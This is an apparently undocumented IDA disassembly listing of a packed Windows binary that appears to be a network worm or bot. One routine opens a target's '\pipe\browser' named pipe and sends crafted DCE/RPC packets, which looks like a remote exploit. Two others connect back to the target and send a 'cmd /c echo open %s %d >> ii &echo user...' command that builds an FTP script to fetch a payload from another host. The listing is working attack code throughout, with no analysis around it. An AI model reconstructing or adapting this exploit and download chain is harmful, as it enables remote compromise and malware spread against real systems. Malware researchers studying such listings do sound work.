; =============== S U B	R O U T	I N E =======================================



sub_40DFD6	proc near		; CODE XREF: sub_40DD57+3Ep
					; sub_40DD57+48p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		push	esi
		mov	esi, [esp+8+arg_0]
		push	edi
		mov	edi, ecx
		cmp	[edi+8], esi
		jnb	short loc_40DFE9
		call	sub_43A760

loc_40DFE9:				; CODE XREF: sub_40DFD6+Cj
		mov	ecx, edi
		call	sub_40E130
		mov	eax, [edi+8]
		mov	ebx, [esp+0Ch+arg_4]
		sub	eax, esi
		cmp	eax, ebx
		jnb	short loc_40DFFF
		mov	ebx, eax

loc_40DFFF:				; CODE XREF: sub_40DFD6+25j
		test	ebx, ebx
		jbe	short loc_40E033
		mov	ecx, [edi+4]
		sub	eax, ebx
		add	ecx, esi
		push	eax
		lea	eax, [ecx+ebx]
		push	eax
		push	ecx
		call	sub_40E03B
		mov	esi, [edi+8]
		add	esp, 0Ch
		sub	esi, ebx
		mov	ecx, edi
		push	0
		push	esi
		call	sub_40DE9A
		test	al, al
		jz	short loc_40E033
		push	esi
		mov	ecx, edi
		call	sub_40DE6A

loc_40E033:				; CODE XREF: sub_40DFD6+2Bj
					; sub_40DFD6+53j
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		retn	8
sub_40DFD6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40E03B	proc near		; CODE XREF: sub_40DFD6+3Ap
		jmp	sub_420840
sub_40E03B	endp


; =============== S U B	R O U T	I N E =======================================



sub_40E040	proc near		; CODE XREF: sub_40DE9A+5p
					; sub_40E056+1Ep
		call	sub_40E16F
		cmp	eax, 2
		ja	short loc_40E04E
		xor	eax, eax
		inc	eax
		retn
; ---------------------------------------------------------------------------

loc_40E04E:				; CODE XREF: sub_40E040+8j
		add	eax, 0FFFFFFFEh
		retn
sub_40E040	endp


; =============== S U B	R O U T	I N E =======================================



sub_40E052	proc near		; CODE XREF: sub_40DD57+A5p
		mov	eax, [ecx+0Ch]
		retn
sub_40E052	endp


; =============== S U B	R O U T	I N E =======================================



sub_40E056	proc near		; CODE XREF: sub_40DE9A+99p
		mov	eax, offset loc_43B854
		call	sub_420820
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+8]
		mov	esi, ecx
		mov	[ebp-10h], esp
		mov	[ebp-14h], esi
		or	edi, 1Fh
		call	sub_40E040
		cmp	eax, edi
		jnb	short loc_40E080
		mov	edi, [ebp+8]

loc_40E080:				; CODE XREF: sub_40E056+25j
		and	dword ptr [ebp-4], 0
		lea	eax, [edi+2]
		push	0
		push	eax
		mov	ecx, esi
		call	sub_40E15F
		mov	[ebp+8], eax
		jmp	short loc_40E0B9
; ---------------------------------------------------------------------------

loc_40E096:				; DATA XREF: .packed:0043E3ACo
		mov	eax, [ebp+8]
		mov	ecx, [ebp-14h]
		mov	[ebp-18h], eax
		add	eax, 2
		push	0
		push	eax
		call	sub_40E15F
		mov	[ebp+8], eax
		mov	eax, offset loc_40E0B3
		retn
; ---------------------------------------------------------------------------

loc_40E0B3:				; DATA XREF: sub_40E056+57o
		mov	esi, [ebp-14h]
		mov	edi, [ebp-18h]

loc_40E0B9:				; CODE XREF: sub_40E056+3Ej
		mov	eax, [esi+8]
		or	dword ptr [ebp-4], 0FFFFFFFFh
		test	eax, eax
		jbe	short loc_40E0DB
		cmp	eax, edi
		jbe	short loc_40E0CA
		mov	eax, edi

loc_40E0CA:				; CODE XREF: sub_40E056+70j
		push	eax
		mov	eax, [ebp+8]
		push	dword ptr [esi+4]
		inc	eax
		push	eax
		call	sub_40DD52
		add	esp, 0Ch

loc_40E0DB:				; CODE XREF: sub_40E056+6Cj
		mov	ebx, [esi+8]
		push	1
		mov	ecx, esi
		call	sub_40DF46
		mov	eax, [ebp+8]
		mov	ecx, esi
		inc	eax
		push	eax
		mov	[esi+4], eax
		call	sub_40E11B
		and	byte ptr [eax],	0
		cmp	ebx, edi
		mov	[esi+0Ch], edi
		ja	short loc_40E102
		mov	edi, ebx

loc_40E102:				; CODE XREF: sub_40E056+A8j
		push	edi
		mov	ecx, esi
		call	sub_40DE6A
		mov	ecx, [ebp-0Ch]
		pop	edi
		pop	esi
		mov	large fs:0, ecx
		pop	ebx
		leave
		retn	4
sub_40E056	endp


; =============== S U B	R O U T	I N E =======================================



sub_40E11B	proc near		; CODE XREF: sub_40DD57+6Ap
					; sub_40DD57+B2p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		dec	eax
		retn	4
sub_40E11B	endp


; =============== S U B	R O U T	I N E =======================================



sub_40E123	proc near		; CODE XREF: sub_40DF46+47p

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	sub_420B80
		pop	ecx
		retn	8
sub_40E123	endp


; =============== S U B	R O U T	I N E =======================================



sub_40E130	proc near		; CODE XREF: sub_40DFD6+15p
		push	esi
		mov	esi, ecx
		push	edi
		mov	edi, [esi+4]
		test	edi, edi
		jz	short loc_40E15C
		push	edi
		call	sub_40E11B
		mov	al, [eax]
		test	al, al
		jz	short loc_40E15C
		cmp	al, 0FFh
		jz	short loc_40E15C
		push	1
		mov	ecx, esi
		call	sub_40DF46
		push	edi
		mov	ecx, esi
		call	sub_40DE4D

loc_40E15C:				; CODE XREF: sub_40E130+9j
					; sub_40E130+15j ...
		pop	edi
		pop	esi
		retn
sub_40E130	endp


; =============== S U B	R O U T	I N E =======================================



sub_40E15F	proc near		; CODE XREF: sub_40E056+36p
					; sub_40E056+4Fp

arg_0		= dword	ptr  4

		push	0
		push	[esp+4+arg_0]
		call	sub_40E176
		pop	ecx
		pop	ecx
		retn	8
sub_40E15F	endp


; =============== S U B	R O U T	I N E =======================================



sub_40E16F	proc near		; CODE XREF: sub_40E040p
		or	eax, 0FFFFFFFFh
		retn
sub_40E16F	endp


; =============== S U B	R O U T	I N E =======================================



sub_40E173	proc near		; CODE XREF: sub_40DD57+78p
		mov	al, 1
		retn
sub_40E173	endp


; =============== S U B	R O U T	I N E =======================================



sub_40E176	proc near		; CODE XREF: sub_40E15F+6p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		test	eax, eax
		jge	short loc_40E180
		xor	eax, eax

loc_40E180:				; CODE XREF: sub_40E176+6j
		push	eax
		call	sub_420C30
		pop	ecx
		retn
sub_40E176	endp


; =============== S U B	R O U T	I N E =======================================



sub_40E188	proc near		; CODE XREF: .packed:loc_40DBC6p
					; sub_43A8A0+3p
		test	byte_4F375C, 1
		jnz	short locret_40E198
		or	byte_4F375C, 1

locret_40E198:				; CODE XREF: sub_40E188+7j
		retn
sub_40E188	endp

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_1. PRESS KEYPAD "+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40E19A	proc near		; DATA XREF: .packed:0043F00Co
		jmp	$+5
sub_40E19A	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_40E19F	proc near
		mov	eax, dword_44912C
		add	eax, 6
		mov	dword_4E5D9C, eax
		retn
sub_40E19F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40E1AD	proc near		; CODE XREF: sub_40E1AD+D0p
					; sub_40E29B+465p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch
arg_7		= byte ptr  0Fh
arg_C		= word ptr  14h
arg_14		= dword	ptr  1Ch
arg_1C		= dword	ptr  24h
arg_20		= dword	ptr  28h
arg_24		= dword	ptr  2Ch
arg_28		= byte ptr  30h
arg_2B		= byte ptr  33h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		cmp	[ebp+arg_28], 0
		push	ebx
		push	esi
		push	edi
		jz	short loc_40E1C1
		or	[ebp+arg_7], 1
		jmp	short loc_40E1C5
; ---------------------------------------------------------------------------

loc_40E1C1:				; CODE XREF: sub_40E1AD+Cj
		and	[ebp+arg_7], 0FEh

loc_40E1C5:				; CODE XREF: sub_40E1AD+12j
		mov	ecx, [ebp+arg_24]
		mov	ebx, [ebp+arg_20]
		movzx	eax, cx
		lea	edx, [ebx+18h]
		cmp	edx, eax
		ja	short loc_40E1E9
		or	[ebp+arg_7], 2
		and	[ebp+arg_2B], 0
		lea	eax, [ebx+18h]
		mov	[ebp+arg_14], ebx
		mov	[ebp+arg_C], ax
		jmp	short loc_40E1FB
; ---------------------------------------------------------------------------

loc_40E1E9:				; CODE XREF: sub_40E1AD+26j
		add	eax, 0FFFFFFE8h
		and	[ebp+arg_7], 0FDh
		mov	[ebp+arg_C], cx
		mov	[ebp+arg_14], eax
		mov	[ebp+arg_2B], 1

loc_40E1FB:				; CODE XREF: sub_40E1AD+3Aj
		movzx	eax, [ebp+arg_C]
		push	eax
		mov	[ebp+var_4], eax
		call	sub_41BE40
		test	eax, eax
		pop	ecx
		mov	[ebp+arg_20], eax
		jz	loc_40E294
		push	6
		lea	esi, [ebp+arg_4]
		pop	ecx
		mov	edi, eax
		rep movsd
		mov	edi, [ebp+arg_14]
		mov	esi, [ebp+arg_1C]
		push	edi
		add	eax, 18h
		push	esi
		push	eax
		call	sub_41FBF0
		add	esp, 0Ch
		lea	eax, [ebp+var_8]
		push	0
		push	eax
		push	[ebp+var_4]
		push	[ebp+arg_20]
		push	[ebp+arg_0]
		call	dword_4F53B4	; WriteFile
		test	eax, eax
		jz	short loc_40E28B
		mov	eax, [ebp+var_4]
		cmp	[ebp+var_8], eax
		jnz	short loc_40E28B
		push	[ebp+arg_20]
		call	sub_41C9D0
		cmp	[ebp+arg_2B], 0
		pop	ecx
		jz	short loc_40E287
		push	0
		sub	ebx, edi
		push	[ebp+arg_24]
		add	edi, esi
		lea	esi, [ebp+arg_4]
		push	ebx
		push	edi
		sub	esp, 18h
		push	6
		pop	ecx
		mov	edi, esp
		push	[ebp+arg_0]
		rep movsd
		call	sub_40E1AD
		add	esp, 2Ch
		jmp	short loc_40E296
; ---------------------------------------------------------------------------

loc_40E287:				; CODE XREF: sub_40E1AD+B3j
		mov	al, 1
		jmp	short loc_40E296
; ---------------------------------------------------------------------------

loc_40E28B:				; CODE XREF: sub_40E1AD+9Cj
					; sub_40E1AD+A4j
		push	[ebp+arg_20]
		call	sub_41C9D0
		pop	ecx

loc_40E294:				; CODE XREF: sub_40E1AD+61j
		xor	al, al

loc_40E296:				; CODE XREF: sub_40E1AD+D8j
					; sub_40E1AD+DCj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40E1AD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40E29B	proc near		; CODE XREF: .packed:0040E88Dp

var_60DC	= byte ptr -60DCh
var_40DC	= byte ptr -40DCh
var_20DC	= byte ptr -20DCh
var_DC		= byte ptr -0DCh
var_C8		= dword	ptr -0C8h
var_BC		= byte ptr -0BCh
var_B8		= byte ptr -0B8h
var_B7		= byte ptr -0B7h
var_B6		= byte ptr -0B6h
var_B5		= byte ptr -0B5h
var_B4		= dword	ptr -0B4h
var_B0		= word ptr -0B0h
var_AE		= word ptr -0AEh
var_AC		= dword	ptr -0ACh
var_A8		= word ptr -0A8h
var_A6		= word ptr -0A6h
var_A4		= dword	ptr -0A4h
var_A0		= dword	ptr -0A0h
var_9C		= word ptr -9Ch
var_9A		= byte ptr -9Ah
var_98		= byte ptr -98h
var_88		= dword	ptr -88h
var_84		= byte ptr -84h
var_74		= dword	ptr -74h
var_70		= dword	ptr -70h
var_6C		= dword	ptr -6Ch
var_68		= qword	ptr -68h
var_60		= word ptr -60h
var_5C		= byte ptr -5Ch
var_4C		= dword	ptr -4Ch
var_48		= byte ptr -48h
var_47		= byte ptr -47h
var_46		= byte ptr -46h
var_45		= byte ptr -45h
var_44		= dword	ptr -44h
var_3E		= word ptr -3Eh
var_3C		= dword	ptr -3Ch
var_34		= word ptr -34h
var_32		= word ptr -32h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= byte ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= byte ptr -14h
var_10		= qword	ptr -10h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, 60DCh
		call	sub_41EF80
		push	ebx
		push	esi
		push	edi
		push	offset dword_449130
		push	[ebp+arg_0]
		call	sub_420F10
		pop	ecx
		xor	ebx, ebx
		test	eax, eax
		pop	ecx
		mov	esi, 2000h
		jz	short loc_40E30F
		push	[ebp+arg_0]
		lea	eax, [ebp+var_20DC]
		push	offset dword_449134
		push	esi
		push	eax
		call	sub_41EC30
		push	20h
		lea	eax, [ebp+var_DC]
		push	ebx
		push	eax
		call	sub_41E4B0
		add	esp, 1Ch
		lea	eax, [ebp+var_20DC]
		mov	[ebp+var_C8], eax
		lea	eax, [ebp+var_DC]
		push	ebx
		push	offset byte_4E5DA0
		push	offset byte_4E5DA1
		push	eax
		call	sub_43A936

loc_40E30F:				; CODE XREF: sub_40E29B+28j
		push	[ebp+arg_0]
		lea	eax, [ebp+var_40DC]
		push	offset aSPipeBrowser ; "\\\\%s\\pipe\\browser"
		push	esi
		push	eax
		call	sub_41EC30
		add	esp, 10h
		lea	eax, [ebp+var_40DC]
		push	ebx
		push	40000000h
		push	3
		push	ebx
		push	3
		push	0C0000000h
		push	eax
		call	dword_4F53C0	; CreateFileA
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_4], eax
		jnz	short loc_40E353

loc_40E34C:				; CODE XREF: sub_40E29B+25Fj
					; sub_40E29B+361j ...
		xor	al, al
		jmp	loc_40E78F
; ---------------------------------------------------------------------------

loc_40E353:				; CODE XREF: sub_40E29B+AFj
		push	48h
		lea	eax, [ebp+var_B8]
		push	ebx
		push	eax
		call	sub_41E4B0
		push	10h
		xor	edi, edi
		pop	eax
		inc	edi
		mov	[ebp+var_B4], eax
		push	eax
		lea	eax, [ebp+var_98]
		push	offset dword_449154
		push	eax
		mov	[ebp+var_B8], 5
		mov	[ebp+var_B7], bl
		mov	[ebp+var_B6], 0Bh
		mov	[ebp+var_B5], 3
		mov	[ebp+var_B0], 48h
		mov	[ebp+var_AE], bx
		mov	[ebp+var_AC], ebx
		mov	[ebp+var_A8], 10B8h
		mov	[ebp+var_A6], 10B8h
		mov	[ebp+var_A4], ebx
		mov	[ebp+var_A0], edi
		mov	[ebp+var_9C], bx
		mov	[ebp+var_9A], 1
		call	sub_41FBF0
		push	10h
		lea	eax, [ebp+var_84]
		push	offset dword_449168
		push	eax
		mov	[ebp+var_88], 3
		call	sub_41FBF0
		add	esp, 24h
		lea	eax, [ebp+var_BC]
		mov	[ebp+var_74], 2
		push	ebx
		push	eax
		lea	eax, [ebp+var_B8]
		push	48h
		push	eax
		push	[ebp+var_4]
		call	dword_4F53B4	; WriteFile
		test	eax, eax
		jz	loc_40E4F1
		lea	eax, [ebp+var_14]
		push	ebx
		push	eax
		lea	eax, [ebp+var_60DC]
		push	esi
		push	eax
		push	[ebp+var_4]
		call	dword_4F53BC	; ReadFile
		push	ebx
		call	sub_420D80
		push	eax
		call	sub_41EB60
		push	14h
		lea	eax, [ebp+var_70]
		push	41h
		push	eax
		call	sub_41E4B0
		push	1Ch
		lea	eax, [ebp+var_30]
		push	41h
		push	eax
		call	sub_41E4B0
		add	esp, 20h
		call	sub_41EB70
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_70], eax
		mov	dword ptr [ebp+var_68+4], edi
		mov	dword ptr [ebp+var_68],	ebx
		lea	esi, [esi+esi*4]
		mov	[ebp+var_6C], edi
		shl	esi, 2
		mov	[ebp+var_60], bx
		mov	[ebp+var_28], ebx
		cmp	byte_449114[esi], bl
		jz	short loc_40E49D
		push	4
		mov	[ebp+var_24], edi
		mov	[ebp+var_2C], edi
		push	offset dword_4E5DA4
		jmp	short loc_40E4AD
; ---------------------------------------------------------------------------

loc_40E49D:				; CODE XREF: sub_40E29B+1F1j
		push	2
		pop	eax
		push	4
		mov	[ebp+var_24], eax
		mov	[ebp+var_2C], eax
		push	offset loc_44917C

loc_40E4AD:				; CODE XREF: sub_40E29B+200j
		lea	eax, [ebp+var_20]
		push	eax
		call	sub_41FBF0
		add	esp, 0Ch
		call	sub_41EB70
		mov	edi, 0FAh
		cdq
		mov	ecx, edi
		idiv	ecx
		inc	edx
		mov	[ebp+var_30], edx
		call	sub_41EB70
		cdq
		idiv	edi
		mov	eax, dword_449108[esi]
		mov	[ebp+var_18], ebx
		push	eax
		mov	[ebp+arg_0], eax
		inc	edx
		mov	[ebp+var_1C], edx
		call	sub_41BE40
		mov	edi, eax
		pop	ecx
		cmp	edi, ebx
		jnz	short loc_40E4FF

loc_40E4F1:				; CODE XREF: sub_40E29B+185j
		push	[ebp+var_4]
		call	dword_4F533C	; CloseHandle
		jmp	loc_40E34C
; ---------------------------------------------------------------------------

loc_40E4FF:				; CODE XREF: sub_40E29B+254j
		mov	eax, [ebp+arg_0]
		add	eax, 0FFFFFFFEh
		push	eax
		push	90h
		push	edi
		call	sub_41E4B0
		mov	eax, [ebp+arg_0]
		push	2
		push	ebx
		lea	eax, [edi+eax-2]
		push	eax
		call	sub_41E4B0
		mov	eax, dword_449110[esi]
		push	7
		add	eax, edi
		push	offset dword_4490C8
		push	eax
		mov	[ebp+arg_4], eax
		call	sub_41FBF0
		mov	eax, [ebp+arg_4]
		push	15Ch
		add	eax, 7
		push	offset dword_448F68
		push	eax
		call	sub_41FBF0
		mov	eax, dword_44910C[esi]
		add	esp, 30h
		mov	[ebp+arg_4], eax
		add	eax, edi
		cmp	byte_449114[esi], bl
		jz	short loc_40E5B0
		push	4
		push	offset dword_4E5D9C
		push	eax
		call	sub_41FBF0
		add	[ebp+arg_4], 0Ch
		mov	esi, offset dword_44912C
		mov	eax, [ebp+arg_4]
		push	4
		add	eax, edi
		push	esi
		push	eax
		call	sub_41FBF0
		mov	eax, [ebp+arg_4]
		push	4
		push	esi
		lea	eax, [eax+edi+24h]
		push	eax
		mov	[ebp+arg_4], eax
		call	sub_41FBF0
		mov	eax, [ebp+arg_4]
		push	4
		add	eax, 0Ch
		push	esi
		push	eax
		call	sub_41FBF0
		add	esp, 30h
		jmp	short loc_40E5D6
; ---------------------------------------------------------------------------

loc_40E5B0:				; CODE XREF: sub_40E29B+2C8j
		mov	[ebp+arg_4], eax
		mov	[ebp+var_8], 10h
		mov	esi, offset dword_44912C

loc_40E5BF:				; CODE XREF: sub_40E29B+339j
		push	4
		push	esi
		push	[ebp+arg_4]
		call	sub_41FBF0
		add	[ebp+arg_4], 4
		add	esp, 0Ch
		dec	[ebp+var_8]
		jnz	short loc_40E5BF

loc_40E5D6:				; CODE XREF: sub_40E29B+313j
		mov	eax, [ebp+arg_0]
		add	eax, 42h
		push	eax
		call	sub_41BE40
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		mov	[ebp+var_8], esi
		jnz	short loc_40E601
		push	[ebp+var_4]
		call	dword_4F533C	; CloseHandle
		push	edi
		call	sub_41C9D0
		pop	ecx
		jmp	loc_40E34C
; ---------------------------------------------------------------------------

loc_40E601:				; CODE XREF: sub_40E29B+34Fj
		mov	eax, [ebp+arg_0]
		add	eax, 42h
		push	eax
		push	ebx		; double
		push	esi
		call	sub_41E4B0
		lea	eax, [ebp+var_70]
		push	14h
		push	eax
		push	esi
		call	sub_41FBF0
		mov	eax, [ebp+arg_0]
		mov	dword ptr [ebp+var_10+4], ebx
		mov	dword ptr [ebp+var_10],	eax
		add	esp, 10h
		fild	[ebp+var_10]
		fmul	flt_43C48C
		fstp	[esp+0Ch+var_10+4]
		call	sub_420210
		call	sub_4201DC
		push	[ebp+arg_0]
		mov	[esi+1Ch], eax
		mov	[esi+14h], eax
		lea	eax, [esi+20h]
		push	edi
		push	eax
		mov	[esi+18h], ebx
		call	sub_41FBF0
		mov	eax, [ebp+arg_0]
		add	esp, 14h
		add	eax, 20h
		test	al, 3
		mov	[ebp+arg_4], eax
		jz	short loc_40E66B

loc_40E663:				; CODE XREF: sub_40E29B+3CBj
		inc	eax
		test	al, 3
		jnz	short loc_40E663
		mov	[ebp+arg_4], eax

loc_40E66B:				; CODE XREF: sub_40E29B+3C6j
		lea	ecx, [ebp+var_30]
		push	1Ch
		add	eax, esi
		push	ecx
		push	eax
		call	sub_41FBF0
		add	[ebp+arg_4], 1Ch
		push	edi
		call	sub_41C9D0
		push	18h
		lea	eax, [ebp+var_48]
		push	ebx
		push	eax
		call	sub_41E4B0
		push	14h
		lea	eax, [ebp+var_5C]
		push	ebx
		push	eax
		mov	[ebp+var_48], 5
		mov	[ebp+var_47], bl
		mov	[ebp+var_46], bl
		mov	[ebp+var_45], 3
		mov	[ebp+var_44], 10h
		mov	[ebp+var_3E], bx
		mov	[ebp+var_3C], ebx
		mov	[ebp+var_34], bx
		mov	[ebp+var_32], 1Fh
		call	sub_41E4B0
		add	esp, 28h
		push	ebx
		push	ebx
		push	1
		push	ebx
		call	dword_4F53B8	; CreateEventA
		mov	[ebp+var_4C], eax
		mov	byte ptr [ebp+arg_0+3],	bl
		mov	dword ptr [ebp+var_10+4], ebx

loc_40E6D8:				; CODE XREF: sub_40E29B+4C7j
		cmp	dword ptr [ebp+var_10+4], 2
		jge	loc_40E76D
		push	1
		push	10B8h
		push	[ebp+arg_4]
		inc	dword ptr [ebp+var_10+4]
		push	esi
		lea	esi, [ebp+var_48]
		sub	esp, 18h
		push	6
		pop	ecx
		mov	edi, esp
		push	[ebp+var_4]
		rep movsd
		call	sub_40E1AD
		add	esp, 2Ch
		test	al, al
		jz	short loc_40E76A
		cmp	[ebp+var_4C], ebx
		jz	short loc_40E75C
		lea	eax, [ebp+var_5C]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_60DC]
		push	2000h
		push	eax
		push	[ebp+var_4]
		call	dword_4F53BC	; ReadFile
		test	eax, eax
		jnz	short loc_40E743
		call	dword_4F5360	; RtlGetLastWin32Error
		cmp	eax, 3E5h
		jnz	loc_40E34C

loc_40E743:				; CODE XREF: sub_40E29B+495j
		push	3E8h
		push	[ebp+var_4C]
		call	dword_4F5374	; WaitForSingleObject
		cmp	eax, 102h
		jnz	short loc_40E75C
		mov	byte ptr [ebp+arg_0+3],	1

loc_40E75C:				; CODE XREF: sub_40E29B+474j
					; sub_40E29B+4BBj
		cmp	byte ptr [ebp+arg_0+3],	bl
		mov	esi, [ebp+var_8]
		jz	loc_40E6D8
		jmp	short loc_40E76D
; ---------------------------------------------------------------------------

loc_40E76A:				; CODE XREF: sub_40E29B+46Fj
		mov	esi, [ebp+var_8]

loc_40E76D:				; CODE XREF: sub_40E29B+441j
					; sub_40E29B+4CDj
		push	[ebp+var_4]
		mov	edi, dword_4F533C
		call	edi	; CloseHandle
		push	esi
		call	sub_41C9D0
		cmp	[ebp+var_4C], ebx
		pop	ecx
		jz	short loc_40E789
		push	[ebp+var_4C]
		call	edi	; CloseHandle

loc_40E789:				; CODE XREF: sub_40E29B+4E7j
		cmp	byte ptr [ebp+arg_0+3],	bl
		setnz	al

loc_40E78F:				; CODE XREF: sub_40E29B+B3j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40E29B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40E794	proc near		; CODE XREF: .packed:0040E8ABp

var_5A0		= byte ptr -5A0h
var_1A0		= byte ptr -1A0h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch
arg_BC		= dword	ptr  0C4h

		push	ebp
		mov	ebp, esp
		sub	esp, 5A0h
		push	ebx
		push	esi
		push	edi
		xor	esi, esi
		push	10h
		lea	eax, [ebp+var_10]
		push	esi
		push	eax
		call	sub_41E4B0
		add	esp, 0Ch
		lea	eax, [ebp+arg_4]
		mov	[ebp+var_10], 2
		push	eax
		call	dword_4F5528	; inet_addr
		push	[ebp+arg_BC]
		mov	[ebp+var_C], eax
		call	dword_4F552C	; htons
		push	esi
		push	1
		push	2
		mov	[ebp+var_E], ax
		call	dword_4F553C	; socket
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	short loc_40E862
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	ebx
		call	dword_4F5530	; connect
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40E862
		mov	edi, 400h
		push	esi
		mov	esi, dword_4F5534
		lea	eax, [ebp+var_5A0]
		push	edi
		push	eax
		push	ebx
		call	esi	; recv
		mov	eax, offset byte_43F10C
		push	eax
		push	eax
		push	dword_4E2DC0
		push	[ebp+arg_0]
		call	sub_40AEAD
		pop	ecx
		push	eax
		push	offset aCmdCEchoOpen_0 ; "cmd /c echo open %s %d >> ii &echo user"...
		lea	eax, [ebp+var_1A0]
		push	190h
		push	eax
		call	sub_41EC30
		add	esp, 1Ch
		lea	eax, [ebp+var_1A0]
		push	0
		push	eax
		call	sub_41BC70
		pop	ecx
		push	eax
		lea	eax, [ebp+var_1A0]
		push	eax
		push	ebx
		call	dword_4F5540	; send
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40E866

loc_40E862:				; CODE XREF: sub_40E794+50j
					; sub_40E794+62j
		xor	eax, eax
		jmp	short loc_40E87D
; ---------------------------------------------------------------------------

loc_40E866:				; CODE XREF: sub_40E794+CCj
		push	0
		lea	eax, [ebp+var_5A0]
		push	edi
		push	eax
		push	ebx
		call	esi	; recv
		push	ebx
		call	dword_4F5538	; closesocket
		xor	eax, eax
		inc	eax

loc_40E87D:				; CODE XREF: sub_40E794+D0j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40E794	endp

; ---------------------------------------------------------------------------
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx

loc_40E887:				; CODE XREF: .packed:0040E8CDj
		lea	eax, [esp+14h]
		push	ebx
		push	eax
		call	sub_40E29B
		pop	ecx
		test	al, al
		pop	ecx
		jz	short loc_40E8BA
		push	65h
		lea	esi, [esp+14h]
		sub	esp, 0BCh
		push	2Fh
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_40E794
		add	esp, 0C0h
		test	eax, eax
		jnz	short loc_40E8CF

loc_40E8BA:				; CODE XREF: .packed:0040E896j
		test	ebx, ebx
		jnz	short loc_40E8C9
		push	7D0h
		call	dword_4F534C	; Sleep

loc_40E8C9:				; CODE XREF: .packed:0040E8BCj
		inc	ebx
		cmp	ebx, 2
		jb	short loc_40E887

loc_40E8CF:				; CODE XREF: .packed:0040E8B8j
		xor	eax, eax
		pop	edi
		pop	esi
		inc	eax
		pop	ebx
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40E8D6	proc near		; CODE XREF: sub_40E9ED+91p

var_5A0		= byte ptr -5A0h
var_1A0		= byte ptr -1A0h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch
arg_BC		= dword	ptr  0C4h

		push	ebp
		mov	ebp, esp
		sub	esp, 5A0h
		push	ebx
		push	esi
		push	edi
		xor	esi, esi
		push	10h
		lea	eax, [ebp+var_10]
		push	esi
		push	eax
		call	sub_41E4B0
		add	esp, 0Ch
		lea	eax, [ebp+arg_4]
		mov	[ebp+var_10], 2
		push	eax
		call	dword_4F5528	; inet_addr
		push	[ebp+arg_BC]
		mov	[ebp+var_C], eax
		call	dword_4F552C	; htons
		push	esi
		push	1
		push	2
		mov	[ebp+var_E], ax
		call	dword_4F553C	; socket
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	short loc_40E9A4
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	ebx
		call	dword_4F5530	; connect
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40E9A4
		mov	edi, 400h
		push	esi
		mov	esi, dword_4F5534
		lea	eax, [ebp+var_5A0]
		push	edi
		push	eax
		push	ebx
		call	esi	; recv
		mov	eax, offset byte_43F10C
		push	eax
		push	eax
		push	dword_4E2DC0
		push	[ebp+arg_0]
		call	sub_40AEAD
		pop	ecx
		push	eax
		push	offset aCmdCEchoOpen_1 ; "cmd /c echo open %s %d >> ii &echo user"...
		lea	eax, [ebp+var_1A0]
		push	190h
		push	eax
		call	sub_41EC30
		add	esp, 1Ch
		lea	eax, [ebp+var_1A0]
		push	0
		push	eax
		call	sub_41BC70
		pop	ecx
		push	eax
		lea	eax, [ebp+var_1A0]
		push	eax
		push	ebx
		call	dword_4F5540	; send
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40E9A8

loc_40E9A4:				; CODE XREF: sub_40E8D6+50j
					; sub_40E8D6+62j
		xor	eax, eax
		jmp	short loc_40E9BF
; ---------------------------------------------------------------------------

loc_40E9A8:				; CODE XREF: sub_40E8D6+CCj
		push	0
		lea	eax, [ebp+var_5A0]
		push	edi
		push	eax
		push	ebx
		call	esi	; recv
		push	ebx
		call	dword_4F5538	; closesocket
		xor	eax, eax
		inc	eax

loc_40E9BF:				; CODE XREF: sub_40E8D6+D0j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40E8D6	endp

; ---------------------------------------------------------------------------
		push	dword ptr [esp+4]
		call	dword_4F5528	; inet_addr
		cmp	eax, 0FFFFFFFFh
		jnz	short locret_40E9EC
		push	dword ptr [esp+4]
		call	dword_4F5550	; gethostbyname
		test	eax, eax
		jnz	short loc_40E9E5
		or	eax, 0FFFFFFFFh
		retn
; ---------------------------------------------------------------------------

